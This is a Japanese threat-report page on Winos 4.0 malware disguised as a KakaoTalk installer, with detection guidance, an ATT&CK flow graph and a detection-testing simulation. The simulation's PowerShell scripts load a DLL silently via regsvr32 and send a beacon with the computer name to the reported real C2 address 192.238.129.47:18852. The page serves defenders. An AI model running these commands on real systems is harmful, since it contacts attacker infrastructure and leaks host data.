SOC Prime Bias: 中程度

24 3月 2026 16:03

KakaoTalkインストーラーに偽装するWinos 4.0マルウェア

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
KakaoTalkインストーラーに偽装するWinos 4.0マルウェア
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

攻撃者はSEOポイズニングを悪用して偽のKakaoTalkインストーラーを検索結果の上位に押し上げました。このインストーラーは無効なコード署名証明書を持ち、Verifier.exeおよびAutoRecoverDat.dllを含む悪意のあるファイルを展開するNSISパッケージを埋め込んでいました。実行されると、マルウェアはDLL登録、スケジュールされたタスク、およびミューテックスを介して持続性を達成し、2つの別々のC2サーバーに接続しました。その能力には、スクリーンキャプチャ、システムプロファイリング、追加ペイロードのインメモリ実行が含まれていました。

調査

アーンラボセキュリティインテリジェンスセンターは、3月9日にキャンペーンを開始して以降、5,000台以上のPCが侵害されたと報告しました。分析では、暗号化されたNSISペイロードが復号してVerifier.exeとAutoRecoverDat.dllをドロップし、ミューテックスを作成し、GPUCache.xmlファイルからシェルコードをロードすることが示されました。シェルコードのブランチに応じて、マルウェアは192.238.129.47または119.28.70.225のC2インフラストラクチャに接触しました。持続性はDLL登録とスケジュールされたタスクによって維持され、Verifier.exeまたは rundll32 と共に悪意のあるDLLを起動します。

緩和策

組織は、キャンペーンに関連する悪意のあるドメインとダウンロードURLをブロックする必要があります。厳格なコード署名の検証を行い、無効な証明書を持つバイナリの実行を防ぎます。アプリケーションの許可リスト化を使用して、不明なNSISインストーラーの実行をブロックします。セキュリティチームは、報告書で概説されている特定のミューテックス、疑わしいスケジュールされたタスク、レジストリの変更を監視する必要があります。

対応策

検出チームは、ミューテックス 77825d8f-46d1-42d0-b298-83068bf9e31d の作成および MicrosoftWindowsAppID の下のスケジュールされたタスクについてアラートを出すべきです。ユーザープロファイルディレクトリ内の Verifier.exe と AutoRecoverDat.dll を狩り、既知のC2 IPとポートへのアウトバウンドトラフィックをブロックします。影響を受けたシステムの法医学的レビューを実施し、すべての持続性のアーティファクトと悪意のあるコンポーネントを完全に削除します。

“graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access[“<b>Technique</b> – T1593.002 Search Engine Poisoning<br/><b>Description</b>: Manipulate SEO to rank malicious sites in search results.”] class tech_initial_access technique tech_user_exec[“<b>Technique</b> – T1204 User Execution<br/><b>Description</b>: Victim runs malicious installer believing it to be legitimate.”] class tech_user_exec technique tech_obfuscation[“<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Payloads encrypted in NSIS installer and decrypted at runtime.”] class tech_obfuscation technique tech_powershell[“<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Executes PowerShell commands via cmd to modify Defender settings.”] class tech_powershell technique tech_exclusions[“<b>Technique</b> – T1564.012 File/Path Exclusions<br/><b>Description</b>: Adds exclusion entries for C:, D:, E:, F: in Windows Defender.”] class tech_exclusions technique tech_rundll32[“<b>Technique</b> – T1218.011 Rundll32 Proxy Execution<br/><b>Description</b>: Uses rundll32.exe to load malicious AutoRecoverDat.dll.”] class tech_rundll32 technique tech_appcert[“<b>Technique</b> – T1546.009 AppCert DLLs<br/><b>Description</b>: Registers DLL for execution when AppCert loads, enabling persistence and escalation.”] class tech_appcert technique tech_schtask[“<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b>: Creates tasks to launch Verifier.exe and rundll32 at system startup.”] class tech_schtask technique tech_c2_nonstd[“<b>Technique</b> – T1571 Non-Standard Port<br/><b>Description</b>: Communicates with C2 servers on ports 18852 and 443.”] class tech_c2_nonstd technique tech_port_knocking[“<b>Technique</b> – T1205.001 Port Knocking<br/><b>Description</b>: Uses port knocking to hide C2 traffic.”] class tech_port_knocking technique tech_dynamic_res[“<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Resolves C2 addresses at runtime, adapts to presence of Chinese AV products.”] class tech_dynamic_res technique tech_indicator_removal[“<b>Technique</b> – T1027.005 Indicator Removal from Tools<br/><b>Description</b>: Checks for specific AV products and alters persistence accordingly.”] class tech_indicator_removal technique tech_software_disc[“<b>Technique</b> – T1518.001 Software Discovery<br/><b>Description</b>: Gathers installed software list for reconnaissance.”] class tech_software_disc technique tech_path_intercept[“<b>Technique</b> – T1574.009 Path Interception by Unquoted Path<br/><b>Description</b>: Exploits unquoted service paths to load malicious DLL.”] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer[“<b>File</b>: Malicious NSIS Installer (KakaoTalk_Setup_patched.RAR)”] class file_installer malware file_verifier[“<b>File</b>: Verifier.exe”] class file_verifier malware file_dll[“<b>File</b>: AutoRecoverDat.dll”] class file_dll malware %% Nodes – Commands / Processes proc_powershell[“<b>Process</b>: powershell.exe (adds Defender exclusions)”] class proc_powershell process proc_rundll32[“<b>Process</b>: rundll32.exe (loads AutoRecoverDat.dll)”] class proc_rundll32 process proc_schtask[“<b>Process</b>: schtasks.exe (creates scheduled tasks)”] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc “

攻撃フロー

シミュレーション実行

前提条件: テレメトリーおよびベースラインのプレフライトチェックが合格している必要があります。

理論根拠: このセクションでは、検出ルールをトリガーするよう設計された敵の技術(TTP)の正確な実行詳細を記載しています。コマンドと説明は識別されたTTPに直接関係し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。

  • 攻撃ストーリー&コマンド:

    攻撃者はすでに悪意のあるDLLを %LOCALAPPDATA%MicrosoftWindowsGPUCache ディレクトリ内に配置し、正規のキャッシュファイルとして偽装しています。ペイロードを実行するために、攻撃者は Regsvr32 (T1218.012)を利用してDLLを読み込み、ロードされたコンポーネントを使用してTCPポート18852(またはHTTPSポート443)を介してハードコーディングされたサーバー192.238.129.47へC2通信を開始します。このネットワークフローは、Sigmaルールが監視する観察可能な指標です。

    1. Regsvr32で悪意のあるDLLをロード
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. C2ビーコンを開始 (悪意のあるDLLがC2サーバーへTCPソケットを開きます)。テスト用に、同じIP/ポートに接続する単純なPowerShell TCPクライアントでビーコンをエミュレートします。
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • 回帰テストスクリプト: 以下のスクリプトは、上記のステップをエンドツーエンドで再現し、Sigmaルールが期待する正確なネットワークテレメトリーを生成します。

    # -------------------------------------------------
    # Winos4.0 C2 シミュレーション - Sigmaルールをトリガー
    # -------------------------------------------------
    # 1. Regsvr32で悪意のある(シミュレーションされた)DLLをロード
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Regsvr32で悪意のあるDLLを登録中..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] シミュレーションされたDLLが $dllPath に見つかりません - 中止します。"
        exit 1
    }
    
    # 2. ハードコーディングされたIP/ポートへのC2ビーコンをエミュレート
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] $c2IP:$c2Port へのTCP接続を確立中..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] ビーコンを送信しました。"
    } catch {
        Write-Error "[-] 接続失敗: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • クリーンアップコマンド: 一時的なアーティファクトを削除し、残存する接続を閉じます。

    # テストアーティファクトである可能性があるシミュレーションされた悪意のあるDLLを削除
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] シミュレーションされたDLLをクリーンアップしました。"
    }
    
    # クライアント側のみであるため、残存するTCPリスナーは残らないはずです
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # アクションは必要ありません。接続はスクリプト内で閉じられます。
    }